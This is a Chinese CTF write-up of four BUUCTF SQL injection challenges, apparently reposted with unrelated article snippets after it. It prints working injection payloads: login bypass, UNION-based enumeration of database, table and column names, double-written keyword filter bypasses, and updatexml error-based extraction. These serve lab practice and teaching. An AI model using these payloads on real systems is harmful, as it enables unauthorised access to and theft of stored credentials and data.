BUUCTF WEB笔记之[极客大挑战2019] EasySQL、LoveSQL、BabySQL、HardSQL

2023-10-29

小白一个,记录一下解题过程,如有错误请指正!

一、EasySQL

1.这里我们使用一句话万能密码就可以了,记得加上#

1' or '1'='1'#

2.登录就可以拿到flag

 

二、LoveSQL

        网页里说用sqlmap是没有灵魂滴,但是还是手痒试了一下,发现什么都扫不出来,可能是我太菜了能力还没到家,希望有大佬能指点一下~

1.我们只能运用灵魂了,用万能句尝试一下,发现登录进来了,但是没有flag

 2.猜测flag应该是放在某个字段里了,我们用联合注入(union)看一下列数

1' union select 1,2,3#

登录成功,列数再加1,发现报错了,说明列数有三列,第二第三列有回显

1' union select 1,2,3,4#

 3.开始爆数据库

1' union select 1,2,database()#

4.数据库名为geek,爆表名

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#

 5.很显然l0ve1ysq1是我们想要的表,谁让他和题目长得很像呢~,爆字段

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#

 6.flag应该在username或者password里了,用concat_ws函数连起来全部看一下。

1' union select 1,2,group_concat(concat_ws('~',username,password)) from geek.l0ve1ysq1#

 太长了看不完,直接看网页源代码即可

三、BabySQL

1.还是先用万能句试一下,发现不行了,应该是设置了关键字过滤,用burp看一下过滤了那些关键字

 

or,and,union,select,where等都被过滤了,试了一下改大小写,双写,发现双写注入是可以的

1' oorr '1'='1'#

 2.那我们就是用双写注入,查一下列数,发现还是只有三列

1' ununionion selselectect 1,2,3#

3.爆数据库

1' ununionion selselectect 1,2,database()#

 

4.熟悉的数据库名,开始爆表名 

1' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#

5.爆字段

1' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

 

6.查看username,password两个字段

1' ununionion selselectect 1,2,group_concat(concat_ws('~',username,passwoorrd)) frfromom geek.b4bsql#

 

 7.查看网页源代码就可以看到完整的flag了

 四、HardSQL

1.在这一题发现万能句,双写都不能用了,总是出现这样一个页面

2.应该还是把某些关键字过滤掉了,用burp再fuzz一下,发现空格,union,*,=都被过滤了,但是updatexml和extractvalue没被过滤,可以考虑使用报错注入

3.因为空格和*号都被过滤掉了,就不能使用/**/绕过空格了,不过可以使用()绕过,爆数据库

1'or(updatexml(1,concat('~',(select(database()))),1))#

 4.又是熟悉的数据库名,开始爆表名

1'or(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('%geek%'))),1))#

5.爆字段

1'or(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('%H4rDsq1%'))),1))#

6.查看username,password ,不过根据经验应该是在password里是没错了

1'or(updatexml(1,concat('~',(select(group_concat(concat_ws('~',username,password)))from(geek.H4rDsq1))),1))#

7.没显示完全,因为updatexml函数只能显示前32位,但是mid,substr函数也被过滤掉了,那可以使用right函数

1'or(updatexml(1,concat('~',(select(right(concat_ws('~',username,password),30))from(geek.H4rDsq1))),1))#   

8.拼起来就是flag啦

flag{651cd7be-7e7e-4463-9bee-9b451fc0039d} 

参考文章:

https://cloud.tencent.com/developer/article/1740429
https://www.cnblogs.com/Mr-small/p/13473910.html

https://www.cnblogs.com/sipc-love/p/14266070.html

 

 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

BUUCTF WEB笔记之[极客大挑战2019] EasySQL、LoveSQL、BabySQL、HardSQL 的相关文章

  • python-什么是数据分析?

    python 什么是数据分析 根据分析目的 用适当的分析方法及工具 对数据进行分析 提取有价值的信息 形成有效结论的过程 数据分析可分为三类 描述性数据分析 从一组数据中可以摘要并且描述这份数据的集中和离散情形 探索性数据分析 从数据中找出
  • 使用Jmeter+ant进行接口自动化测试(数据驱动)

    最近在做接口测试 因为公司有使用jmeter做接口测试的相关培训资料 所以还是先选择使用jmeter来批量管理接口 进行自动化测试 话不多说 进入正题 1 使用csv文件保存接口测试用例 方便后期对接口进行维护 先新建txt文件 然后文件扩
  • [极客大挑战 2019]Secret File 1(php伪协议)

    纯小白的web之旅 o 第一篇题解 有些地方可能还不清楚 或者存在错误 大佬们如果看到可以指点一下 点开靶机 是这个界面 第一步看一下源代码 可以看到一个提示 Archive room php 点进去就跳到另一个页面了 我们点一下secre
  • 开发过程中用到的相关知识汇总

    开发相关 语言相关 算法 数据库优化 linux系统 系能调优 工具 维护相关 监控工具 问题定位

随机推荐

  • 基于java+springboot+mybatis+vue+elementui的旧物置换网站

    项目介绍 随着时代的不进步 旧物也成人们的烦恼 许多平台网站都在推广自已的产品像天猫 咸鱼 京东 拼多多 所以开发出一套关于旧物置换网站非常有必要 旧物置换网站主要是借助计算机 通过对用户进行管理 为减少管理员的工作 同时也方便广大用户对个
  • 在windows7下安装vs2017插件 GLSL language integration v0.10.120.vsix报错:microsoft.visualc.redist.12

    系列文章目录 文章目录 系列文章目录 前言 一 分析原因 二 解决办法 1 下载对应的 VC redist x64 exe 安装 VC redist x64 exe 前言 一 分析原因 官方描述 Visual C 可再发行程序包安装 Mic
  • 折半查找法

    折半查找法又称为二分查找法 这种方法对待查找的列表有两个要求 1 必须采用顺序存储结构 2 必须按关键字大小有序排列 算法思想 首先 将表的中间位置记录的关键字与查找关键字比较 如果两者相等 则查找成功 否则利用中间位置记录将表分成前 后两
  • Lightmap3ds

    https github com Gamieon Lightmap3ds
  • 物联网体系的三层结构功能和包含设备

    物联网体系的三层结构 综合国内各权威物联网专家的分析 将物联网系统划分为三个层次 感知层 网络层 应用层 并依此概括地描绘物联网的系统架构 感知层 感知层解决的是人类世界和物理世界的数据获取问题 由各种传感器以及传感器网关构成 该层被认为是
  • Mybatis批量更新的两种方式

    前言 在使用Mybatis框架的过程中 经常会通过构建动态SQL来处理批量插入 批量更新数据等相关操作 本文将以批量更新为例 简单介绍其使用过程 动态SQL元素 if set trim foreach 批量更新 映射方法 int updat
  • 模式分类识别

    模式分类识别 RF随机森林多特征分类预测及变量重要度衡量 Matlab完整程序 目录 模式分类识别 RF随机森林多特征分类预测及变量重要度衡量 Matlab完整程序 预测结果 基本介绍 程序设计 参考资料 预测结果
  • SNMP V1 V2 V3版本的联系和区别 .

    SNMP 是一个协议用来管理网络上的节点 包括工作站 路由器 交换机 集线器和其他的外围设备 SNMP是一个应用协议 使用UDP封装进行传输 UDP是一个无连接的传输层协议 在OSI模型中为第四层协议 提供简单的可靠的传输服务 SNMP使网
  • JavaScript replace字符串替换函数的用法

    replace 语法 stringObj replace rgExp replaceText stringObj 必选项 要执行该替换的 String 对象或文字 该对象不会被 replace 方法修改 rgExp 必选项 描述要查找的内容
  • json-lib使用,JSONObject和JSONArray

    原文 http blog csdn net yangbobo1992 article details 8350765 从Object到String 要先用Object对象构造一个JSONObject或者JSONArray对象 然后调用它的t
  • 活动回顾|8月中文社区面对面

    导语 8 月 18 号 Jina AI 举办了 中文社区面对面 活动 本文为分享回顾 1 CLIP as service 比 CLIP 多了哪些更好用的功能 2 Finetuner 的介绍和示例 3 社区明星项目的开发体验和心得 没来得及参
  • layui表单监听下拉选择

    表单监听下拉选择 字符串转数组 var strs new Array 定义一数组 strs data value split 字符分割 form on select test function data suppsID empty cons
  • 龙尚4g模块U9300C在rk3368移植适配记录

    一 模块连接 4g模块在系统中的连接 4g模块是以usb外设的形式进行操作的 二 调试移植过程 1 准备工作 驱动加入 VID 和 PID 根据模块产品型号在 kernel drivers usb serial option c 中 加入
  • DENIED Redis is running in protected mode because protected mode is enabled

    DENIED Redis is running in protected mode because protected mode is enabled 通过客户端 包括redis cli或jedis等方式 连接Redis实例时 出现如下错误
  • 云孚开源情报系统YFINT

    一 YFINT简介 开源情报 Open Source Intelligence 简称OSINT 是指通过分析公开渠道信息所获得的情报 美国 情报分析之父 谢尔曼 肯特曾指出 80 以上的情报都是开源情报 大数据时代信息爆炸式增长 使开源情报
  • python代码——计算披萨大小

    题目 小明楼下新开了两家披萨店 价格都一样 不同的是A家披萨店的披萨是圆形 B家披萨店的披萨是三角形 为了知道 哪家披萨店的披萨面积更大一些 于是就找到你咯 你来帮帮他吧 测试数据包括四个整数 第一个整数是A家披萨店披萨的半径 第二 三 四
  • 多GPU运行PyTorch报错dimension specified as 0 but tensor has no dimensions

    错误信息 dimension specified as 0 but tensor has no dimensions 问题原因 CrossEntropyLoss的输入必须为tensor 不能为scalar 标量 即输入的数据维度不能为Non
  • 编辑器未包含main类型解决方法

    将文件移到 src 这个 Java Source Folder 下面去 现在在外面的 java 文件不会被当成一个需要编译的类 eclipse 不会编译 Java Source Folder 外面的任何 java 文件
  • 单片机通过串口给控制器发送 16进制整数,控制灯带点亮

    直接发送单个字符就可以了 unsigned char a 16 0x5E 0x5F 0xA0 0x01 0x00 0x00 0x0C 0x04 0x00 0x01 0x02 0x00 0x00 0x00 0x5A 0xFE 5E 5F A0
  • BUUCTF WEB笔记之[极客大挑战2019] EasySQL、LoveSQL、BabySQL、HardSQL

    小白一个 记录一下解题过程 如有错误请指正 一 EasySQL 1 这里我们使用一句话万能密码就可以了 记得加上 1 or 1 1 2 登录就可以拿到flag 二 LoveSQL 网页里说用sqlmap是没有灵魂滴 但是还是手痒试了一下 发